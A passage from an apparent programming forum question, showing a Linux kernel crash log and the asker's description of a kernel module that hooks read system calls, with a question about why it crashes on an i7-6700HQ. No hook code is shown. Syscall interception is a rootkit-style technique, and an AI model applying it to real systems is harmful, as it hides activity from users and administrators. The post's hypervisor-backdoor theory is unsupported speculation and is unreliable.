  Jun 13 16:00:35 localhost kernel: [ 1635.419690]  crc16 hid_a4tech snd_hda_intel joydev snd_hda_codec irqbypass snd_hda_core snd_hwdep snd_pcm snd_timer snd soundcore tpm_crb sg intel_cstate tpm_tis tpm_tis_core mei_me intel_uncore tpm rng_core hid_multitouch mei acer_wmi intel_rapl_perf iTCO_wdt sparse_keymap rfkill serio_raw pcspkr iTCO_vendor_support wmi_bmof idma64 intel_pch_thermal evdev pcc_cpufreq ac acpi_pad battery binfmt_misc ip_tables x_tables autofs4 squashfs zstd_decompress xxhash loop overlay nls_utf8 isofs usbhid sr_mod cdrom sd_mod uas usb_storage hid_generic crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel pcbc nouveau i915 mxm_wmi i2c_algo_bit ahci aesni_intel intel_lpss_pci xhci_pci drm_kms_helper ttm aes_x86_64 libahci xhci_hcd crypto_simd libata cryptd glue_helper alx psmouse i2c_i801 mdio scsi_mod
  Jun 13 16:00:35 localhost kernel: [ 1635.419800]  intel_lpss usbcore drm i2c_hid usb_common thermal hid wmi video button
  Jun 13 16:00:35 localhost kernel: [ 1635.419817] CR2: 00007ffd57fa5d6f
  </code></pre>
  
  <p>If you'll read my two previous questions, its are all about this LKM, and there was other two troubles, both of which I've fixed in this ^ <code>new code</code>. 
  The first one was wrong unloading of module, so that couple of processes keeps calling <code>hacked_read_test</code> function and crashes with err <code>can not access to this part of memory</code>, because module is unloaded already. The second one is about new wrapper around all sys_calls, in other words: "kernel code evolution/mutation", so there appear a new way via <code>regs</code>. I've fixed this, so my new code shall work at least on part of machines, probably with ""old"" Central processing units.</p>
  
  <p>My question is: Why does it crashes on i7-6700HQ? What can it be? 
  Chines backdoor with "XEN-like" virtual machine over bare hardware which does not accept my <code>asm</code> actions? Or what?</p>